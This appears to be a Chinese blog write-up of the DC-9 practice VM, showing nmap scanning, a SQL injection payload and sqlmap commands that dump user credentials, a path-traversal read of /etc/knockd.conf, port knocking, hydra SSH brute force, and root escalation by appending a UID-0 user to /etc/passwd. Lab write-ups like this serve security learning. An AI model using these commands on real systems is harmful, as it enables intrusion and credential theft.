DC-9靶机通关笔记

一、主机发现

复制代码
arp-scan -l

靶机ip为192.168.55.159

二、端口扫描、目录枚举、漏洞扫描、指纹识别

2.1端口扫描

复制代码
nmap --min-rate 10000 -p- 192.168.55.159

发现只开放了80端口,看来要在网页中进行信息收集了

很奇怪的是22端口没有开放

UDP端口扫描

复制代码
nmap -sU --min-rate 10000 -p- 192.168.55.159

靶机没有开放UDP端口

2.2目录枚举

复制代码
dirb http://192.168.55.159

扫出来了很多目录,访问后没啥信息

2.3漏洞扫描

复制代码
nmap --script=vuln -p22,80 192.168.55.159

无明显漏洞

2.4指纹识别

复制代码
nmap 192.168.55.159 -sV -sC -O --version-all

三、进入靶机网站寻找信息,找到低权限账号

访问靶机网页寻找信息

3.1SQL注入

靶机的第二个页面是成员信息,说明有数据库,第三和第四个页面中均含有输入框,尝试sql注入

经过尝试,在第三个页面中的搜索框中存在sql注入

复制代码
1' or 1=1 #

抓包发现注入的参数是search

这边使用sqlmap进行注入了

爆数据库名:

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' --dbs

先看users里面的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users --tables

找到了一张表,下面就是爆破字段名

复制代码
 sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails --columns

下面就是爆破数据

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails -C username,password --dump

有了账号密码,我们可以去第四个页面进行登陆了

经过尝试,这些都进不去,试试其它的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D Staff -T Users -C Password,Username --dump

发现这张表中是admin账号,试试md5解密

密码为:transorbital1

3.2端口敲门

成功登陆后发现多了两个功能点

发现在"Mangage"页面中有提示性信息

尝试一下文件包含

真的存在文件包含

由于22端口是关闭状态,我们需要端口敲门使其开放

通过文件包含可以寻找端口敲门的信息

复制代码
http://192.168.55.159/manage.php?file=../../../../../../etc/knockd.conf

找到了端口敲门的顺序:7469,8475,9842

端口敲门:

复制代码
knock -v 192.168.55.159 7469 8475 9842
nmap -p- 192.168.55.159

22端口成功打开

3.3使用hydra爆破ssh账号密码

将sqlmap爆出来的账号密码作为字典,使用hydra进行ssh服务爆破

首先将内容使用cut命令分割开

复制代码
cat 1.txt | cut -d "|" -f 2 > 2.txt
cat 1.txt | cut -d "|" -f 3 > 3.txt

接着使用hydra进行爆破

复制代码
hydra -L 2.txt -P 3.txt ssh://192.168.55.159

成功找到三个账号密码

四、提权

进入账号中,在janitor账号中找到了隐藏信息

找到了新的密码,继续使用刚刚的user进行爆破

成功爆破出了一个新的账号

登陆该账号

4.1靶机信息收集

4.2sudo提权

随后使用sudo命令查找有无高权限的文件

复制代码
sudo -l

找到了一个test文件

执行一下test文件,提示我们要去 test.py 文件看使用方法

这个程序需要我们提供两个参数,第一个参数是追加的内容,第二个参数是追加的文件

这里提权的方法就很多了,我这里采用的是新建一个root权限的用户,将用户信息追加到/etc/passwd中,然后切换该用户即可

复制代码
openssl passwd -1 -salt 123456 123456
cd /tmp  # 不在tmp目录下echo输出的不对
echo 'pp:$1$123456$wOSEtcyiP2N/IfIl15W6Z0:0:0::/root:/bin/bash' > pp
sudo /opt/devstuff/dist/test/test pp /etc/passwd

密码输入123456即可成功提权!

相关推荐
云畅新视界3 分钟前
HOTDOG构建“IP×用户”共创生态,激活数字文化新势能
网络·网络协议·tcp/ip
遇见尚硅谷10 分钟前
C语言:20250728学习(指针)
c语言·开发语言·数据结构·c++·笔记·学习·算法
无线图像传输研究探索20 分钟前
单兵图传终端:移动场景中的 “实时感知神经”
网络·人工智能·5g·无线图传·5g单兵图传
深蓝海拓38 分钟前
通信名词解释:I2C、USART、SPI、RS232、RS485、CAN、TCP/IP、SOCKET、modbus等
网络·网络协议·tcp/ip
xx.ii1 小时前
4.Linux 应用程序的安装和管理
linux·服务器·网络
奋斗的蛋黄2 小时前
解析分区、挂载与块设备:Linux 存储管理核心命令详解
linux·服务器·网络
墨迹的陌离2 小时前
【Linux】重生之从零开始学习运维之Mysql
linux·运维·服务器·数据库·学习·mysql
陌上阳光2 小时前
docker搭建ray集群
docker·容器·ray
这就是佬们吗2 小时前
初识 docker [上]
java·开发语言·笔记·docker·容器
Ray Song2 小时前
Linux DNS解析1--终端通过网关或者路由器进行域名解析的原理
linux·运维·服务器·dns解析